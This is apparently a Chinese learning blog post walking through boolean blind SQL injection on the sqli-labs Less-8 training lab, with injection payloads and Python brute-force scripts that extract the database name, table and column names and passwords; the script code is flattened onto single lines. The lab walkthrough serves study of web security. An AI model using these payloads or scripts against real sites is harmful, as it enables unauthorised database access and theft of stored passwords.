前言:之前通过前九关学习到了回显注入、报错注入等一些方法,这次就来详细的学习布尔盲注

首先来了解一下盲注的概念

盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。

布尔盲注

原理:
注入的时候只会返回True和False,所以布尔盲注就是根据页面显示的是True还是False进行猜测数据库中的信息。

布尔盲注需要几个函数的辅助,就先来了解一下这几个函数

length()函数可返回字符串的长度
substring()函数可以截取字符串,可指定开始的位置和截取的长度
ord()函数可以返回单个字符的ASCII码
char()函数可将ASCII码转换为对应的字符

具体的用法可以参考大佬的博客Mysql语法介绍,接下来就通过sql-labs练习布尔盲注。

判断注入点(也就是闭合符号)
发现输入id=1'会报错

http://127.0.0.1/sqli-labs-master/Less-8/?id=1'

id=1'后再加上注释符号后又回显正确,所以判定闭合符号为'

爆数据库长度
知道闭合符号后,先来爆一下数据库名的长度,这里就用到上面所说的函数了

http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())>1 --+

回显正确

手工注入的话就要一遍一遍的试试,将后面的长度不断增大,最后得出数据库名的长度为8

爆数据库名
知道了数据库名的长度,接下来就来爆破数据库名

Less-8/?id=1' and  ord(substr(database(),1,1))>99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) > 99 --+
Less-8/?id=1' and ascii(substr((database()),1,1)) = 99 --+

原理都一样,目的就是取出数据库名中的一个字符通过比较ascii码来猜测出数据库名,但是如果手动爆的话太浪费时间了,可以写脚本,也可以用burp爆破,这里两种方法都试一下

burp爆破
先抓包

设置变量,这里设置了两个变量所以上面的框中要选第四个选项

第一个变量设置为numbers 1到8,第二个变量也设置为numbers 0到127

分别设置好,然后开始爆破。
不过太慢了,应该是我burp设置的有问题,这里就学习一下这种方法,爆破还是脚本来吧。

附上大佬博客利用burp盲注
脚本爆破
目前脚本还不会写,就参考大佬的学习一下
大佬博客布尔盲注
脚本中一些不太懂的语法就参考下面大佬的博客
Python requests
Python——入门级(定义功能def函数)
格式化输出字符串

import requests
def database_len():for i in range(1,10):url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''payload = '''?id=1' and length(database())>%s''' %i  #格式化输出字符串# print(url+payload+'%23')r = requests.get(url+payload+'%23')if 'You are in' in r.text:print(i)else:#print('false')print('database_length:',i)break
database_len()def database_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('database_name:',name)database_name()


爆出了数据库名和长度,接下来改payload爆出表名
payload:

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>90 --+

修改一下脚本

import requestsdef table_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),%d,1)))=ord('%s')" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('table_name:',name)table_name()

通过修改 limit 0,1 来获取其他表名

爆出列名
payload:

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>100 --+

修改脚本,跑出列名

import requestsdef column_name():name = ''for j in range(1,9):for i in 'sqcwertyuioplkjhgfdazxvbnm':url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),%d,1)))=ord('%s')" %(j,i)# print(url+'%23')r = requests.get(url+'%23')if 'You are in' in r.text:name = name+iprint(name)breakprint('column_name:',name)column_name()


其他的修改limit后的值即可得出其他的列名

爆值

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+

脚本还和上面的相同,只不过改下payload,但是这个脚本是有缺陷的,就是在遍历,但是我们赋给i的字符只有小写的,有可能其他大写的或特殊符号显示不出来,只要加上就行了。但是这样做的话脚本跑的也会很慢,还是好好学习python,写一个更加便捷的。

最后总结一下布尔盲注常用语句

爆数据库长度

?id=1' and (length(database()))>1 --+

爆数据库名

?id=1' and (ascii(substr(database(),1,1)))>1 --+

爆表名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>1 --+

爆列名

?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>1 --+

爆值

?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))>1--+

语句几乎不变,根据需要加以改动即可,这次就先学习布尔盲注,接下来学习时间盲注。

sql注入学习——布尔盲注相关推荐

  1. sql注入学习——时间盲注

    前言:之前通过前九关学习到了回显注入.报错注入.布尔盲注等一些方法,这次就来详细的学习时间盲注. 在上一篇博客中,了解了布尔盲注,其实布尔盲注和时间盲注大致相同,注入原理是一致的,区别就是一个还是有回 ...

  2. SQL注入学习——Bool盲注详解 sqli-labs(Less 8)

    文章目录 前言: 一.Bool盲注常用的函数: 二.Less8 布尔型单引号GET盲注 1.查数据库版本 2.猜解数据库的长度 3.猜数据库名字 4.猜解表名 5.猜解字段名 6.猜解数据 三.脚本注 ...

  3. SQL注入之布尔盲注——sql-lab第八关

    布尔盲注简介 什么是盲注 盲注其实是sql注入的一种,之所以称为盲注是因为他不会根据你sql注入的攻击语句返回你想要知道的错误信息. [之前在做联合注入第一关的时候,用union select语句注入 ...

  4. SQL注入学习——时间盲注详解 sqli-labs(Less 9)

    文章目录 前言: 一.基础知识 1.时间盲注简介: 2.时间盲注常用的函数: 二.Less9 基于时间的单引号盲注 1.判断数据库名的长度: 2.猜测数据库: 3.判断表名的长度 4.猜测 secur ...

  5. SQL注入原理-布尔盲注

    小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注. 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1.判断是否存在注入点 2 ...

  6. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  7. mysql dba盲注_SQL注入学习-Dnslog盲注

    1.基础知识 1.DNS DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的 ...

  8. SQL注入原理-时间盲注

    小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注. 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1.判 ...

  9. web安全入门之SQL注入-时间型盲注

    SQL注入之时间型盲注 1.时间型盲注 时间型盲注条件极为苛刻,不管输入什么,WEB页面回显相同的结果,此时我们无法通过报错型注入以及布尔型盲注来爆数据,此时数据在交互完成以后目标网站没有正确和错误的 ...

最新文章

  1. [动态dp]线段树维护转移矩阵
  2. 倒下的RoadStar结局来了:VC清盘止损,三位创业者承担1亿债务,打着官司各投林...
  3. scala------------:: , +:, :+, :::, +++的区别
  4. 同步vmware虚拟机与宿主机的时间
  5. [转载] 七龙珠第一部——第130话 悟空的敌人竟是悟空
  6. 使用固态存储SSD或PCIe卡
  7. vue.js 常见面试题_使用Vue.js时应避免的常见错误
  8. 【JSOI2007】【BZOJ1029】建筑抢修(贪心,堆)
  9. 从OpenStack到OpenInfra
  10. linux下redis安装教程
  11. Android :安卓学习笔记之 Handler机制 的简单理解和使用
  12. Linux默认端口介绍
  13. Unity3D游戏高性能战争迷雾系统实现
  14. md5加密依赖工具utility使用小记
  15. SpringSecurity前后端分离02(授权)
  16. Git Git用户ssh公钥管理
  17. node.js+mysql实现分库分表存查数据:
  18. Java - io输入输出流 --转换流
  19. 锁屏界面某些设置已由组织隐藏或管理_路由器:安装,设置,更改密码,桥接全攻略...
  20. 【java】eclipse

热门文章

  1. redis php操作日志,php-redis笔记
  2. 十八、深入Java 访问修饰符和非访问修饰符
  3. 三十五、深入Java中的泛型(下篇)
  4. EMNLP 2021 | ST-ToD:小样本场景下的任务型对话预训练
  5. 清华大学刘知远教授新作,图神经网络最佳解锁方式 | 送书福利
  6. 半监督学习技术在金融文本分类上的实践
  7. “非自回归”也不差:基于MLM的阅读理解问答
  8. 当前最好的非深度迁移学习方法:流形空间下的分布对齐
  9. 哈佛NLP组论文解读:基于隐变量的注意力模型 | 附开源代码
  10. poj2002 STL set